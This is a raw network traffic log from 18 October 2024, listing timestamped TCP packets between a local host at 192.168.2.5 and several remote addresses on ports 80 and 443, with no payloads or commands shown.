Oct 18, 2024 23:46:33.656641960 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.656652927 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.656668901 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.656678915 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.656693935 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.656697035 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.656730890 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.657042027 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.657087088 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.657097101 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.657107115 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.657135963 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.657576084 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.657586098 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.657597065 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.657629967 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.657799959 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.657816887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.657841921 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.658013105 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.658024073 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.658040047 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.658060074 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.658093929 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.658114910 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.658124924 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.658164024 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.659332037 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.659343958 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.659353971 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.659396887 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.659868956 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.660337925 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.660357952 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.660855055 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.660861015 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.665261030 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.665612936 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.665628910 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.666059971 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.666065931 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.666098118 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.666415930 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.666433096 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.666790009 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.666796923 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.668664932 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.669239998 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.669312954 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.669392109 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.669392109 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.669426918 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.669450045 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.672208071 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.672291994 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.672535896 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.672688961 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.672724009 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.709542036 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.709553957 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.709563971 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.709573984 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.709583998 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.709605932 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.709651947 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.709680080 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.709691048 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.709701061 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.709726095 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.709748030 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.746789932 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.746800900 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.746810913 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.746850014 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.748491049 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.748501062 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.748511076 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.748542070 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.748589039 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.776374102 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.776382923 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.776420116 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.776431084 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.776441097 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.776451111 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.776552916 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.776606083 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.776715040 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.776726007 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.776736021 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.776752949 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.776762009 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.776803017 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.777380943 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.777405024 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.777415037 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.777441978 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.777488947 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.777498007 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.777508020 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.777523041 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.777535915 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.777581930 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.777623892 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.777637005 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.777659893 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.778022051 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.778069019 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.778733015 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.778779984 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.778788090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.778816938 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.778825045 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.778856039 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.787312031 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.787547112 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.787600040 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.787638903 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.787653923 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.787671089 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.787678003 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.790229082 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.790299892 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.790379047 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.790535927 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.790560961 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.793416023 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.793633938 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.793703079 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.793747902 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.793747902 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.793775082 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.793801069 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.795908928 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.795948029 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.796206951 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.796334982 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.796360970 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.796616077 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.796758890 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.796883106 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.796883106 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.796899080 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.796907902 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.798873901 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.798898935 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.798964024 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.799168110 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.799184084 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.829276085 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.829287052 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.829297066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.829305887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.829318047 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.829335928 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.829385042 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.829436064 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.829447985 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.829458952 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.829483986 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.829497099 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.866625071 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.866646051 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.866657019 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.866772890 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.868238926 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.868251085 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.868262053 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.868345976 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.868345976 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.872868061 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.874798059 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.874820948 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.875452042 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.875458002 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.896126986 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.896148920 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.896159887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.896306038 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.896316051 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.896337986 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.896374941 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.896403074 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.896564960 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.896591902 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.896625042 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.896636963 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.896701097 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.896729946 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.897150993 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.897161961 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.897172928 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.897202969 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.897212982 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.897227049 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.897320986 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.897350073 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.897362947 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.897380114 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.897391081 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.897402048 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.897409916 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.897423029 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.897492886 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.898442984 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.898538113 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.898546934 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.898556948 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.898638964 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.898638964 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.948834896 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.948843956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.948934078 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.949089050 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.949099064 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.949110031 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.949121952 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.949148893 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.949191093 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.949213982 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.949342966 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.949352980 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.949362993 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.949419975 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.949419975 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.986365080 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.986375093 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.986385107 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.986433983 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.987572908 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.987601995 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.987611055 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.987690926 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.001693010 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.001818895 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.002511024 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.002614021 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.002614021 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.002626896 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.002635956 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.005987883 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.006042004 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.006309986 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.006675959 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.006705046 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.015636921 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.015656948 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.015666008 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.015713930 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.015723944 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.015742064 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.015850067 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.015916109 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.015957117 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.015966892 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.016011000 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.016174078 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.016213894 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.016223907 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.016261101 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.016434908 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.016443968 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.016511917 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.016535997 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.016597986 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.016608000 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.016616106 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.016618967 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.016695023 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.017000914 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.017011881 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.017020941 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.017030954 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.017040968 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.017062902 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.017093897 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.017962933 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.017999887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.018119097 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.018127918 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.018176079 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.018287897 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.069006920 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.069017887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.069027901 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.069168091 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.069180965 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.069191933 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.069201946 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.069212914 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.069222927 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.069226980 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.069269896 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.069269896 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.069302082 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.069314003 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.069418907 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.104156017 CEST	49818	443	192.168.2.5	142.250.184.196
Oct 18, 2024 23:46:34.104183912 CEST	443	49818	142.250.184.196	192.168.2.5
Oct 18, 2024 23:46:34.104480982 CEST	49818	443	192.168.2.5	142.250.184.196
Oct 18, 2024 23:46:34.104742050 CEST	49818	443	192.168.2.5	142.250.184.196
Oct 18, 2024 23:46:34.104763031 CEST	443	49818	142.250.184.196	192.168.2.5
Oct 18, 2024 23:46:34.105978966 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.105990887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.105999947 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.106046915 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.107661009 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.107671022 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.107681036 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.107733011 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.107778072 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.135189056 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.135200024 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.135210037 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.135220051 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.135245085 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.135292053 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.135324001 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.135371923 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.135381937 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.135560989 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.136085987 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136095047 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136194944 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136204958 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.136205912 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136217117 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136226892 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136231899 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.136239052 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136248112 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136257887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136264086 CEST	49795	80	192.168.2.5	104.192.108.20
